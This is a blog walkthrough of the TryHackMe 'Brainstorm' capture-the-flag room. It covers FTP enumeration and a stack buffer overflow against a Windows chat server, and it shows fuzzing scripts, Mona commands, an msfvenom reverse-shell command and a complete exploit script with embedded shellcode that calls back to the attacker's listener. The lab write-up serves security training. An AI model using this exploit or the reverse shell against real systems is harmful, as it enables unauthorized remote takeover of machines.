TryHackMe - Brainstorm - Walkthrough

Introduction

Today we're going to be doing a walkthrough for the Brainstorm room hosted at https://tryhackme.com/room/brainstorm . For this walkthrough, we'll be using two virtual machines (VMs), a Kali Linux VM as our attacking machine, and the deployed Windows Brainstorm client as the the victim machine.

Task 1 - Deploy Machine and Scan Network

Questions:

Deploy the machine

No answer needed

How many ports are open?

First, we're going to add the IP address of the Brainstorm machine to our attacking machine's /etc/hosts file. In the current version of Kali,we need switch to Root before doing so:

As Root:
echo “10.10.100.56 brainstorm.thm” >> /etc/hosts


At the time of our examination of the network, there were a number of machines live in the network, and the number of open ports on those systems does not match the answer for this question. Neither does the number of open ports on the brainstorm.thm machine. In the end, we brute forced the answer.

Task 2 - Accessing Files

Questions

What is the name of the exe file you found?

We run the following Nmap scan on brainstorm.thm:

nmap -p- -T4 -Pn brainstorm.thm


 We see that there is an FTP service open, so we enumerate it:

ftp brainstorm.thm
enter username: anonymous
enter blank password


There's anonymous login available on this system. Let's check for files on the service:

dir
cd chatserver
dir
binary
get ******.***
get essfunc.dll


We saw the chatserver directory on the FTP server, and we see a binary file in the directory, so we switch the FTP service to binary mode in order to download the file properly (otherwise the file would be corrupted when transferred).

Task 3 - Access

Questions

Read the description

No answer needed

(unofficial)

We saw that was an unusual service running on brainstorm.thm on port 9999. We run Netcat to manually enumerate the service. We use the -C flag with Netcat because we're interacting with a Windows networking app, and they usually require CRLF line terminators:

nc -C brainstorm.thm 9999


Question

After testing for overflow, by enterting a large number of characters, determine the EIP offset.

No answer needed

(unofficial)

We have the chat server binary and dll file that we captured from the FTP server. We'll upload those files another VM, this one from the Buffer Overflow Prep TryHackMe room located at https://tryhackme.com/room/bufferoverflowprep

Once that machine has started up, we need to login to the system via RDP, then upload our two file so that we can do testing on the chat server service.

First we start a Python http server on our attacking machine so we can serve those files:

sudo python3 -m http.server 80


Then we'll log into the Windows machine via RDP:

xfreerdp /u:admin /p:password /cert:ignore /v:10.10.174.9 /workarea /size:90


From the Windows machine, we start a session of Internet Explorer and download the two files:

Open Internet Explorer
http://10.2.41.125/chatserver.exe
http://10.2.41.125/essfunc.dll



To test the chat server binary for buffer overflow vulnerability, we'll run the binary through the Immunity Debugger program present on the Buffer Overflow Prep system.

Run Immunity Debugger as Administrator
File -> Open -> chatserver -> Open


To start each round of debugging, we need to set the state of the chatserver program to Running:

Debug -> Run


Next, we'll configure the Mona script to match our chatserver program's parameters:

Inside the debugger:
!mona config -set workingfolder c:\cmona\%p


We'll use the following Python script to fuzz the chatserver service and crash it.


import socket, sys

ip = "brainstorm.thm"
port = 9999

timeout = 5
buffer = []

counter = 1500

while len(buffer) < 100:
    buffer.append("A" * counter)
    counter += 100
    for string in buffer:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(timeout)
            connect = s.connect((ip, port))
            s.recv(1024)
            print("Fuzzing with %s bytes" % len(string))
            s.send("\r\n")
            s.recv(1024)
            s.send(string + "\r\n")
            s.recv(1024)
            s.close()
        except:
            print("Could not connect to " + ip + ":" + str(port))
            sys.exit(0)


Of course, we'll need to change the ip variable to match the IP address of the Windows server.

We run the fuzzer script, which crashes the program:

python altfuzzer.py



We can see that when we sent a buffer size of 2100, the program crashed and we filled three other memory registers with our buffer, as well as the EIP. From here, we need to figure out the exact buffer offset which will allow us to access the EIP. We'll use the following Python script for testing:


import socket

ip = "brainstorm.thm"
port = 9999

prefix = ""

offset = 0

overflow = "A" * offset

retn = ""

padding = ""

payload = ""

postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    s.recv(1024)
    print("Sending evil buffer...")
    s.send("\r\n")
    s.recv(1024)
    s.send(buffer + "\r\n")
    s.recv(1024)
    print("Done!")
except:
    print("Could not connect.")


We can create a cyclic pattern to use as the payload variable in our exploit script, so when we crash the chatserver program next, we can determine the offset value to control the EIP register:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2500


We use a length of 2500 because the service seemed to crash after we sent it 2100 bytes, and we want a cushion of about 400 bytes to fit our shellcode later. We take the output of the pattern_create script and plug it into our exploit script's payload variable, then reset the Windows debugger program and run our exploit.py script from our attacking machine.

python exploit.py 



We see that when the crash occurs this time, the EIP register has the following hex bytes in it:

31704330

We can use this as a parameter in the msf-pattern_offset program to obtain an offset value:

msf-pattern_offset -l 2500 -q 31704330


With this new information, we edit our exploit.py script, setting the payload variable to an empty string, and plugging in the offset value and changing the retn value to "BBBB".


Now we reset the debugger and run the exploit.py script again:

python exploit.py



Here we see that when the program crashes, the EIP contains 42424242, which is the hex representation of the BBBB value we put into the retn variable in our exploit.py script. Next, we need to determine if there are any bad characters (badchars) which we need to avoid when we create our shellcode. We go into the debugger program an input the following:

!mona bytearray-b “\x00”


We also use the following script to create a byte string to use as our exploit.py payload variable:


from __future__ import print_function

for x in range(1, 256):
    print("\\x" + "{:02x}".format(x), end='')
print()


We run the script:

python badchargen.py


We plug the output of the script into the payload variable in exploit.py:


Then we reset the debugger and run the exploit.py script again:

python exploit.py



We note the address the ESP register points to, and use that as input for the next Mona command in the debugger:

!mona compare -f c:\mona\chatserver\bytearray.bin -a 01A1EEC0


Question

Now you know that you can overflow a buffer and potentially control execution, you need to find a function where ASLR/DEP is not enabled. Why not check the DLL file.

No answer needed

(unofficial)

The script reports that there were no badchars found, which means we can move on to the next step, finding a jump point. In the debugger.  We send the following Mona command:

!mona jmp -r esp -cpb “\x00”
click on the Window -> Log data button in the debugger



We note the first usable address returned to us, but we need to reverse the order of the bytes, since the system we're dealing with is little endian.  In hex byte little endian format, the address is like this:

\xdf\x14\x50\x62

We'll plug this address into the retn value in our exploit.py script.  At the same time, we set the string in the payload variable to empty:


Question

Since this would work, you can try generate some shellcode - use msfvenom to generate shellcode for windows.

No answer needed

(unofficial)

The final step we need to take before we finish our exploit script is to generate our shellcode and include as the payload variable of our script. We do this with msfvenom:

msfvenom -p windows/shell_reverse_tcp LHOST=10.2.41.125 LPORT=4444 EXITFUNC=thread -b ‘\x00’ -f python


In our exploit script, we paste in the output of the previous command, then we set the payload variable to buf, and set the padding variable to ("\x90" * 16).



Our final exploit script looks like this:


import socket

ip = "brainstorm.thm"
port = 9999

prefix = ""

offset = 2012

overflow = "A" * offset

retn = "\xdf\x14\x50\x62"

padding = "\x90" * 16

buf = b""
buf += b"\xb8\xf4\xed\xa9\x46\xdb\xce\xd9\x74\x24\xf4\x5b\x29"
buf += b"\xc9\xb1\x52\x31\x43\x12\x83\xc3\x04\x03\xb7\xe3\x4b"
buf += b"\xb3\xcb\x14\x09\x3c\x33\xe5\x6e\xb4\xd6\xd4\xae\xa2"
buf += b"\x93\x47\x1f\xa0\xf1\x6b\xd4\xe4\xe1\xf8\x98\x20\x06"
buf += b"\x48\x16\x17\x29\x49\x0b\x6b\x28\xc9\x56\xb8\x8a\xf0"
buf += b"\x98\xcd\xcb\x35\xc4\x3c\x99\xee\x82\x93\x0d\x9a\xdf"
buf += b"\x2f\xa6\xd0\xce\x37\x5b\xa0\xf1\x16\xca\xba\xab\xb8"
buf += b"\xed\x6f\xc0\xf0\xf5\x6c\xed\x4b\x8e\x47\x99\x4d\x46"
buf += b"\x96\x62\xe1\xa7\x16\x91\xfb\xe0\x91\x4a\x8e\x18\xe2"
buf += b"\xf7\x89\xdf\x98\x23\x1f\xfb\x3b\xa7\x87\x27\xbd\x64"
buf += b"\x51\xac\xb1\xc1\x15\xea\xd5\xd4\xfa\x81\xe2\x5d\xfd"
buf += b"\x45\x63\x25\xda\x41\x2f\xfd\x43\xd0\x95\x50\x7b\x02"
buf += b"\x76\x0c\xd9\x49\x9b\x59\x50\x10\xf4\xae\x59\xaa\x04"
buf += b"\xb9\xea\xd9\x36\x66\x41\x75\x7b\xef\x4f\x82\x7c\xda"
buf += b"\x28\x1c\x83\xe5\x48\x35\x40\xb1\x18\x2d\x61\xba\xf2"
buf += b"\xad\x8e\x6f\x54\xfd\x20\xc0\x15\xad\x80\xb0\xfd\xa7"
buf += b"\x0e\xee\x1e\xc8\xc4\x87\xb5\x33\x8f\xad\x4b\x12\x32"
buf += b"\xda\x49\x64\xdd\x46\xc7\x82\xb7\x66\x81\x1d\x20\x1e"
buf += b"\x88\xd5\xd1\xdf\x06\x90\xd2\x54\xa5\x65\x9c\x9c\xc0"
buf += b"\x75\x49\x6d\x9f\x27\xdc\x72\x35\x4f\x82\xe1\xd2\x8f"
buf += b"\xcd\x19\x4d\xd8\x9a\xec\x84\x8c\x36\x56\x3f\xb2\xca"
buf += b"\x0e\x78\x76\x11\xf3\x87\x77\xd4\x4f\xac\x67\x20\x4f"
buf += b"\xe8\xd3\xfc\x06\xa6\x8d\xba\xf0\x08\x67\x15\xae\xc2"
buf += b"\xef\xe0\x9c\xd4\x69\xed\xc8\xa2\x95\x5c\xa5\xf2\xaa"
buf += b"\x51\x21\xf3\xd3\x8f\xd1\xfc\x0e\x14\xf1\x1e\x9a\x61"
buf += b"\x9a\x86\x4f\xc8\xc7\x38\xba\x0f\xfe\xba\x4e\xf0\x05"
buf += b"\xa2\x3b\xf5\x42\x64\xd0\x87\xdb\x01\xd6\x34\xdb\x03"

payload = buf

postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    s.recv(1024)
    print("Sending evil buffer...")
    s.send("\r\n")
    s.recv(1024)
    s.send(buffer + "\r\n")
    s.recv(1024)
    print("Done!")
except:
    print("Could not connect.")



Before we attempt to exploit the actual brainstorm.thm machine, we should start a Netcat listener on our attacking machine:

nc -nlvp 4444


Finally, we attempt to buffer overflow the chatserver service and receive a reverse shell:

python exploit.py



Question

After gaining access, what is the content of the root.txt file?

Flags on TryHackMe Windows machines are usually located in a user's \Desktop directory.  In this case, it's located in c:\users\drake\desktop:

type c:\users\drake\desktop\root.txt


Summary

After initial scans, we found that the target system exposed an FTP service with anonymous login enabled, which we exploited to gain access to the binary of a network service that we suspected was running on the server.  After testing, we came to conclusion that the service was vulnerable to a buffer overflow attack, which we used to gain access to the system and capture our objective flag file.

Finish




Comments

Popular posts from this blog

TryHackMe - Windows PrivEsc - Walkthrough

TryHackMe - Reversing Elf - Walkthrough

TryHackMe - XSS - Walkthrough